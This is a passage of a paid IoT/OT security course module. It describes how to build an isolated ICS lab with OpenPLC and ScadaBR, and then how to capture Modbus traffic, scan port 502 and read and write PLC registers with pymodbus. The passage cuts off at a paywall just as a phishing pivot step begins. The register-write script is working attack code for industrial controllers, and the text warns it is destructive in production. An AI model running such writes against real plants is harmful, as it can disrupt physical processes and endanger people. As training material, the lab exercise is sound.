This module is the IoT/OT track capstone β a hands-on walkthrough of building a small lab and running a complete assessment cycle. Use it to practice safely before approaching real environments. Everything here is reproducible on a single workstation with VirtualBox or VMware and a few hundred rupees in hardware.
The lab β components
- Attacker box: Kali Linux VM
- Engineering workstation: Windows 10/11 VM with TIA Portal demo (Siemens) and a SCADA HMI demo
- Simulated PLC: OpenPLC (open-source IEC 61131-3 runtime) on a Raspberry Pi or in a Linux VM
- Simulated SCADA / HMI: ScadaBR or Rapid SCADA
- Honeypot to study: Conpot (low-interaction ICS honeypot)
- Network: isolated bridge between VMs; no internet routing
- Optional hardware: a real Modbus TCP gateway (~βΉ3000 used on OLX), Raspberry Pi running a simulated process
Phase 1: Set up OpenPLC
# On Linux VM
git clone https://github.com/thiagoralves/OpenPLC_v3.git
cd OpenPLC_v3
sudo ./install.sh linux
# Web interface on http://<ip>:8080 (default: openplc / openplc)
# Upload a sample ladder logic program (Programs tab)
# Configure Modbus TCP slave on port 502
# Run the PLC
Phase 2: Connect a SCADA
# Install ScadaBR on engineering Windows VM (or another Linux VM)
# Configure data source: Modbus TCP, IP of OpenPLC, port 502
# Add data points reading specific registers
# Build a simple HMI page showing the values
You now have a complete chain: simulated process (OpenPLC) β SCADA (ScadaBR) β operator HMI.
Phase 3: Run the assessment
Step 1 β passive observation
# From attacker box, capture traffic between SCADA and PLC
sudo tcpdump -i <bridge> -w ot-traffic.pcap host <plc-ip>
# Open in Wireshark; ICS dissector enabled
wireshark ot-traffic.pcap
# Observe Modbus function codes used, registers polled, polling interval
Step 2 β identify the PLC
# Single targeted scan, only port 502
nmap -sT -Pn -p 502 --script modbus-discover <plc-ip>
# Modbus discovery script reveals slave IDs and basic identity
Step 3 β read PLC registers (read-only, safe)
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('192.168.56.10', port=502)
c.connect()
for addr in [0, 100, 200, 1000]:
r = c.read_holding_registers(addr, 10, slave=1)
print(f'addr {addr}: {r.registers if not r.isError() else \"err\"}')
c.close()
"
Step 4 β write a register (lab only β would be DESTRUCTIVE in production)
# In our LAB:
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('192.168.56.10', port=502)
c.connect()
c.write_register(0, 9999, slave=1) # set register 0 to 9999
c.close()
"
# Watch the SCADA HMI: the value should change.
# In the real world this is the action that ranges from "no effect"
# to "shut down the plant" β never test on production.
Step 5 β pivot from engineering workstation
Set up a phishing scenario in your lab:
Continue reading with Basic tier (βΉ499/month)
You've read 33% of this module. Unlock the remaining deep-dive, quiz, and every other Intermediate module.